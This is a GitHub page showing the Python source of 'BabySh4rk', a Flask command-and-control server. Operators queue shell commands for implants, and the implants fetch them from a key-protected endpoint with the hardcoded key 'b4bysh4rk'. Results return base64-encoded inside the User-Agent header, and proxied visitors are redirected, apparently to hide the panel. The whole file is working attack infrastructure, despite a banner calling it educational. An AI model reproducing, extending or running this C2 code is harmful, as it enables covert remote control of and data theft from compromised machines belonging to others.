-
Notifications
You must be signed in to change notification settings - Fork 28
/
Copy pathapp.py
161 lines (125 loc) · 7 KB
/
app.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
#!/usr/bin/python
# -*- coding: utf-8 -*-
import base64, os
import logging
from colorama import Fore, Style
from flask import Flask, render_template, request, url_for, redirect
from flask_sqlalchemy import SQLAlchemy
from sqlalchemy import desc, func
app = Flask(__name__)
logging.basicConfig(filename='sharklog.log',level=logging.INFO)
if os.path.exists('database/c2.db'):
pass
else:
os.mknod("database/c2.db")
app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///database/c2.db'
app.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = False
app.config['TEMPLATES_AUTO_RELOAD'] = True
db = SQLAlchemy(app)
password = 'b4bysh4rk'
class BabyShark():
alert = "[" + Style.BRIGHT + Fore.LIGHTYELLOW_EX + '+' + Style.RESET_ALL + "]"
debug = "[" + Style.BRIGHT + Fore.LIGHTYELLOW_EX + 'DEBUG' + Style.RESET_ALL + "]"
warn = "[" + Style.BRIGHT + Fore.LIGHTRED_EX + '+' + Style.RESET_ALL + "]"
error = "[" + Style.BRIGHT + Fore.LIGHTRED_EX + '-' + Style.RESET_ALL + "]"
ok = "[" + Style.BRIGHT + Fore.LIGHTGREEN_EX + '+' + Style.RESET_ALL + "]"
banner = Fore.LIGHTBLUE_EX + """
▀▀▀▀▀▀██▄▀▀▀▀▀▀██▄▀▀▀▀▀▀██▄ ███ ███ ▀▀▀▀▀▀███ ███ ███ ▀▀▀▀▀▀██▄▀▀▀▀▀▀██▄ ███ ███
███ ▄██▀ ███ ▄█▓█ ███ ▄██▀ ▀▓█▄ █▓█ █▓█ ▄▄▄ █▓█▄▄█▓█ ███ ▄█▓█ ███ ▄██▀ █▓█ ▄██▀
█▓█▀ █▓█ █▓█▀ █▓█ █▓█▀ █▓█ ▄▄▄ ▀█▓█ ▀▀▀ █▓█ █▓█ █▓█ █▓█▀ █▓█ █▓█▀ █▓█ █▓█▀ █▓█
███▄▄██▀ ███ ███ ███▄▄██▀ ███▄▄██▀ ███▄▄██▀ ███ ███ ███ ███ ███ ███ ███ ███ """ + Style.RESET_ALL + """
▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
""" + Fore.LIGHTYELLOW_EX + """ INFO:""" + Style.RESET_ALL + """
This script is a basic code create for educational purpose.
"""
def instruct():
instructions = """
"""+Fore.LIGHTYELLOW_EX+"""INSTRUCTIONS:""" + Style.RESET_ALL + """
1) First step, run schema.sql to populate DB with respective tables.
┌───────────────────────────────────────────────────────────────────────────┐
│ """+Fore.LIGHTRED_EX+"""⬤ """+Fore.LIGHTYELLOW_EX+"""⬤ """+Fore.LIGHTGREEN_EX+"""⬤"""+Style.RESET_ALL+""" TERMINAL │
├───────────────────────────────────────────────────────────────────────────┤
│ $~> """+Fore.GREEN+"""pwd"""+Style.RESET_ALL+""" │
│ │
│ """+Fore.LIGHTGREEN_EX+"""/home/daddyShark/BabySh4rk/"""+Style.RESET_ALL+""" │
│ │
│ $~> """+Fore.GREEN+"""sqlite3 database/c2.db """+Fore.LIGHTYELLOW_EX+"""<"""+Fore.GREEN+""" schema.sql"""+Style.RESET_ALL+""" │
│ │
│ │
└───────────────────────────────────────────────────────────────────────────┘
\n\n\n
"""
print(instructions)
exit()
print(banner)
size_db = os.path.getsize("database/c2.db")
logging.debug('Size file database: {}'.format(size_db))
if size_db <= 10:
instruct()
class Command(db.Model):
id = db.Column(db.Integer, primary_key=True)
cmd = db.Column(db.String)
done = db.Column(db.Boolean)
logging.debug('Table: command, columns: {}, {}, {}'.format(id, cmd, done))
class Results(db.Model):
id = db.Column(db.Integer, primary_key=True)
results = db.Column(db.String)
logging.debug('Table: results, columns: {}, {}'.format(id, results))
@app.route('/')
def home():
if len(Results.query.all()) == 0:
return render_template('index.html', returns=' \n ')
else:
get_returns = Results.query.order_by(desc(Results.id))
logging.debug('Get Returns Table: {}'.format(get_returns))
get_commands = Command.query.all()
if request.environ.get('HTTP_X_FORWARDED_FOR') is None:
return render_template('index.html',
returns=get_returns[0].results,
commands=get_commands)
else:
return render_template('redir.html')
@app.route('/momyshark')
def getcommand():
secretkey = request.args.get('key')
if secretkey == password:
result = request.headers.get('User-Agent').split('|')
if len(result) >= 2:
result_command = base64.b64decode(result[1]).decode('utf-8')
id_command = result[2].split(',')[0]
save_results = Results(results=result_command)
db.session.add(save_results)
command_done = \
Command.query.filter_by(id=int(id_command)).first()
command_done.done = not command_done.done
db.session.commit()
task_queue = Command.query.all()
return render_template('momyshark.html', task_queue=task_queue)
else:
return render_template('redir.html')
@app.route('/create-task', methods=['POST'])
def create():
if request.environ.get('HTTP_X_FORWARDED_FOR') is None:
new_task = Command(cmd=request.form['content'], done=False)
db.session.add(new_task)
db.session.commit()
return redirect(url_for('home'))
else:
return render_template('redir.html')
@app.route('/done/<id>')
def done(id):
if request.environ.get('HTTP_X_FORWARDED_FOR') is None:
task = Command.query.filter_by(id=int(id)).first()
task.done = not task.done
db.session.commit()
return redirect(url_for('home'))
else:
return render_template('redir.html')
@app.route('/delete/<id>')
def delete(id):
Command.query.filter_by(id=int(id)).delete()
db.session.commit()
return redirect(url_for('home'))
if __name__ == '__main__':
BabyShark()
app.run(debug=False)